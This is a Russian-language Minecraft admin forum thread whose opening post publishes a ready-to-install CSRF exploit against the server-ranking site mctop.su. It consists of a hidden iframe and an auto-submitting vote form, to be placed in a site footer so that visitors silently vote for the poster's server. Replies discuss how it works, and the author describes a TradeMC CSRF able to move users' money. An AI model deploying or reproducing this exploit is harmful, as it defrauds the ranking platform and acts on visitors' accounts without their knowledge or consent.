1. Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.
    Скрыть объявление
Скрыть объявление
В преддверии глобального обновления, мы проводим исследования, которые помогут нам сделать опыт пользования форумом ещё удобнее. Помогите нам, примите участие!

Утилита CSRF на McTop, или при заходе на ваш сайт игрок автоматически голосует за вас

Тема в разделе "Руководства, инструкции, утилиты", создана пользователем unlimited, 7 окт 2015.

  1. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    infinity
    Понаходил CSRF уязвимости на паре зарубежных и русских сайтов (mcdonate.ru / trademc.org / twitchalerts.com и др.), в том числе и на mctop.su
    Всем этим сайтам написал, большинство прикрыли дырки и дали денежное вознаграждение, но mctop мне за 2 недели даже не ответили, по этому пишу сюда :)

    Уязвимость позволяет вам установить на сайт вашего проекта небольшой скрипт, при заходе на ваш сайт, если человек хоть раз авторизовывался на mctop в прошлом (голосовал за какой-то другой сервер) - Его автоматически залогинит с вк на mctop и он автоматически проголосует за ваш сервер без своего ведома.

    Как установить:
    1) Создаем на сайте файл, например "mctop.php", с таким содержимым:
    HTML:
    <iframe scrolling="no" src="https://oauth.vk.com/authorize?client_id=4968544&redirect_uri=http://mctop.su/site/login_vk&response_type=code" width="0px" frameborder="0" height="0px"></iframe>
     
    <form method="POST" action="http://mctop.su/vote/<ИД_ВАШЕГО_СЕРВЕРА>">
      <input type="hidden" name="nickname" value="<?php echo rand(0,9999999);?>">
      <input type="submit" id="doit">
    </form>
    <script>
      setTimeout(function(){document.getElementById("doit").click()}, 2000);
    </script>
    Где <ИД_ВАШЕГО_СЕРВЕРА> - это id вашего сервера на mctop (например 1088)
    [​IMG]


    2) Добавляем например в конец главой страницы вашего сайта (в Footer) такой код:
    HTML:
    <iframe width="0" scrolling="no" height="0" frameborder="0" src="mctop.php" seamless="seamless"></iframe>

    3) Profit. Петя зашел на ваш сайт -> Если он сегодня еще не голосовал за ваш сервер -> Он только что за него проголосовал.
     
  2. Plasticable

    Plasticable Старожил Девелопер Пользователь

    Баллы:
    173
    Skype:
    plasticable
    Имя в Minecraft:
    Plasticable
  3. Левый

    Левый Старожил Пользователь

    Баллы:
    173
    Хм, а что если он зайдет на сайт ещё раз? Ещё один голос начислят?
     
  4. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    infinity
    Раз в 24 часа, тоже самое если бы он самостоятельно голосовал
     
  5. Vladlen_198

    Vladlen_198 Старожил Пользователь

    Баллы:
    108
    Skype:
    ultrashock98
    Имя в Minecraft:
    UltraShock
    Но ведь запросит авторизацию вк если не авторизован. Разве не так ?
     
  6. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    infinity
    Нет, если вк приложение mctop'а одобрено (Человек хотя-бы 1 раз авторизировался на mctop) - его залогинит автоматически.
     
  7. Juice987

    Juice987 Активный участник Пользователь

    Баллы:
    76
    с другими топами прокатит ?
     
  8. Xfester12

    Xfester12 Активный участник Пользователь

    Баллы:
    88
    Имя в Minecraft:
    Xfester
    СПАСИБ!
     
  9. zixxa

    zixxa Старожил Пользователь

    Баллы:
    103
    Ну вот, теперь куча школотронов поставят этот скрипт и накрутят себе голоса.
     
  10. MrTrojan

    MrTrojan Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    BlackTrojan
    Ну сами же не захотели фиксить, мы что умолять их будем фиксить?
     
  11. Sergey_28rus

    Sergey_28rus Активный участник Пользователь

    Баллы:
    76
    То чувство, когда начал уже ставить, а вспомнил что нету тебя на mctop
     
  12. Alexey123

    Alexey123 Старожил Пользователь

    Баллы:
    153
    По крайней мере, активная XSS и CSRF, связанная по сменой личных данных, была починена почти сразу.
     
  13. Левый

    Левый Старожил Пользователь

    Баллы:
    173
    А если он ни разу не голосовал на mctop?
    А если он голосовал сегодня, го за другой проект? Мне голос начислится или нет?!
     
  14. Автор темы
    unlimited

    unlimited Старожил Пользователь

    Баллы:
    123
    Имя в Minecraft:
    infinity
    Если ниразу не входил на mctop, то не проголосует.
    Если уже голосовал сегодня за другой проект - голос за твой проект начислится.
    И разговор с вами у меня сложился примерно вот такой:
    [​IMG]Дмитрий
    Привет, я нашел очень серьезную уязвимость на TradeMc, если админ сервера кликнет по моей ссылке я могу поменять любую настройку в его личном кабинете, вывести на свой кошелек деньги с доната, добавить любые команды в магазин сервера, даже удалить проект.
    Можете предоставить награду за нахождение уязвимости? Я предоставлю все данные о ней, даже помогу пофиксить.

    [​IMG]Сашка
    Что вы имеете ввиду?

    [​IMG]Дмитрий
    Если админ сервера перейдет по моей ссылке когда он авторизован на TradeMc, я могу без его ведома провести любое действие с его аккаунтом
    Я могу замаскировать такую ссылку под какую нибудь картинку / пост в блоге / какой нибудь эмейл

    [​IMG]Сашка
    Каким образом?

    [​IMG]Дмитрий
    Если пользователь авторизован на TradeMc и у него есть 100р. на аккаунте, просто перейдя по этой ссылке (пример)starcrack.hol.es/babon/trademc.html он отправит деньги на любой указанный мною адрес
    Можно сделать так что он даже не увидит этой переадресации на ваш сайт

    [​IMG]Сашка
    ну понятно

    [​IMG]Дмитрий
    Это действительно одна из самых опасных уязвимостей в вебе
    И у вас от нее 0 защиты

    [​IMG]Сашка
    Хорошо. Спасибо за информацию

    [​IMG]Дмитрий
    »Можете предоставить награду за нахождение уязвимости? Я предоставлю все данные о ней, даже помогу пофиксить.

    [​IMG]Сашка
    Какую награду?

    [​IMG]Дмитрий
    Денежную. И я расскажу все подробности, что за уязвимость, как исправить.

    [​IMG]Сашка
    мы не даем никаких наград
     
  15. Xfester12

    Xfester12 Активный участник Пользователь

    Баллы:
    88
    Имя в Minecraft:
    Xfester
    По разговору с этим "меденжером" видно, что он либо даун, либо недопонимает о чем говорит. Хотя, да действительно, процент то они получили, а на бабло других им пофиг.
     
  16. Alexey123

    Alexey123 Старожил Пользователь

    Баллы:
    153
    Не, я даже не отношусь к их команде. Я сам нашёл дырки(о CSRF только предполагал, что она возможна, потому что токенов и запросов текущих паролей не было тогда), немного раскрутил(а XSS там высвечивается даже в списке проектов, потому что была в названии сервера), и через минуту увидел вместо своего названия "fixed". По CSRF я отписал им в личку, и они ответили, что уже всё починили.
     

Поделиться этой страницей